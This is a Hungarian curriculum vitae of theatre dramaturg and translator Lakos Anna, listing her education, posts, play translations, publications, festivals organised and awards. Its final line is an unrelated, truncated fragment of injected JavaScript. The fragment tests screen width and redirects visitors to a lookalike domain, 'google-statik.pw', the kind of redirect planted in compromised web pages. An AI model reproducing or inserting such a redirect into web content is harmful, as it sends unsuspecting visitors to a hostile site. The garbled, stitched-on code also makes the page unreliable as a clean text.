Lakos Anna

Curriculum vitae

 

Vegzettseg

1973: Eotvos Lorand Tudomanyegyetem, Bolcseszettudomanyi Kar, magyar-francia szak

 

Munkahelyek:

1985- Orszagos Szinhaztorteneti Muzeum es Intezet

1978-85 Nepszinhaz, dramaturg

1973-78 Budapesti Muszaki Egyetem

 

1969-78 az UNIVERSITAS Egyuttes tagja

 

Forditasok:

magyarra

Francois Tilly : Trombitagombak

Brigitte Jaques : Elvire Jouvet/40

Philippe Minyana : Leltar

Ariane Mnouchkine: Mephisto

Bernard-Marie Koltes : A gyapotmezok maganyaban

Serge Kribus : Arloc

Serge Kribus: Borisz Spilemann nagy visszaterese

Jean-Claude Grumberg : talan almodni

Jean-Loup Riviere : Hajtogatott napok

Copi Alkalmatlan latogatas

Jean-Claude Brisville : Feketeleves

Jean-Claude Grumberg : Varronok

Evelyne de la Cheneliere: Eper januarban

Peter Brook - Marie-Helene Estienne Csodaleny vagyok

Jean-Luc Lagarce : Szerelmes tortenetek

 

 

franciara:

Schwajda Gyorgy :Himnusz (L`Hymne) Jean-Loup Riviere-rel /Editions Theatrales/

Schwajda Gyorgy : Csoda (Miracle) Jean-Loup Riviere-rel /Editions Theatrales/

A kekszakallu herceg vara (Barbe Bleu) Stephane. Braunschweiggel, Theatre du Chatelet/

Molnar Ferenc: Egy, ketto, harom /Un, deux, trois/ Jean-Loup Riviere-rel /Editions Theatrales/

Molnar Ferenc: Jatek a kastelyban /Dent pour dent Jean-Loup Riviere -rel /Editions Theatrales/

Hamvai Kornel: Hoherok hava /Le Bourreau de Longwy Jean-Loup Riviere-rel /Editions Theatrales/

Soiro Gyorgy: Kvartett / Quatuor Jean-Loup Riviere / ACT-Festival de Luxembourg

Weores Sandor: Octopus de Sandor Weores Jean-Loup Riviere-rel / Theatre de l'Europe

 

 

Egyeb francia nyelvu publikaciok

Panorama des auteurs dramatiques hongrois du XXeme siecle, / a l`occasion de la Semaine du Theatre Hongrois a Paris, 1990/

Cahiers de la Comedie Francaise: a magyar szinhaz helyzete/ /1991/

Le theatre alternatif en Hongrie, Universite de Nancy, 2004

Koltes en Hongrie, 2004

 

 

Konyvek szerkesztojekent

Theatre hongrois; d'une fin de siecle a l'autre; /Les Cahiers, Maison Antoine Vitez (A XX. szazad magyar szinhazat bemutato essze-kotet)

Pina Bausch / OSZMI

Collision / OSZMI / A kortars drama tiz evet bemutato essze-kotet

Krzysztof Plesniarowicz: A halott emlekek gepezete (Tadeusz Kantor halalszinhaza)

 

 

Jelentosebb szinhazi esemenyek kezdemenyezoje es szervezoje :

 

1990 Magyar Szinhazi Het Parizsban

1991 Francia Szinhazi Het Budapesten

1994 Pina Bausch tarsulatanak vendegszereplese a Budapesti Tavaszi fesztivalon

1993/94 Magyar Szezon Douai-ben tobbek kozott Jeles Andras : Szervusz Tolsztoj c. eloadasanak francai valtozatanak bemutatoja

1996 a Martha Graham Company valamint Bob Wilson eloadasai a Budapesti Tavaszi Fesztivalon

1998 Sankai Juku tarsulat vendegjateka

1999/2000 Pina Bausch tarsulat muhelymunkaja Magyarorszagon es a letrejott eloadas vendegjateka

2001 Magyar Szinhazi Het Parizsban a MagyArt kereteben

 

1985- 2001: a Francia Intezet tanacsadojakent tobb tarsulat vendegjatekanak kezdemenyezese es szervezese, tobbek kozott

a TNP-Villeurbanne, Philippe Decoufle, Philippe Genty, Joseph Nadj, L' Esquisse tancszinhaz, Comedie Francaise, Gallota, Montalvo-Hervieux, Cie Deschamps eloadasai

 

Tagsag:

Dramaturg Ceh

Maison Antoine Vitez

 

 

Kituntetesek:

Magyar Koztarsasag Ezust Erdemkeresztje

Chevalier des Arts et des Lettres

Officier des Arts et des -lettres

Hevesi Sandor-Dij

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width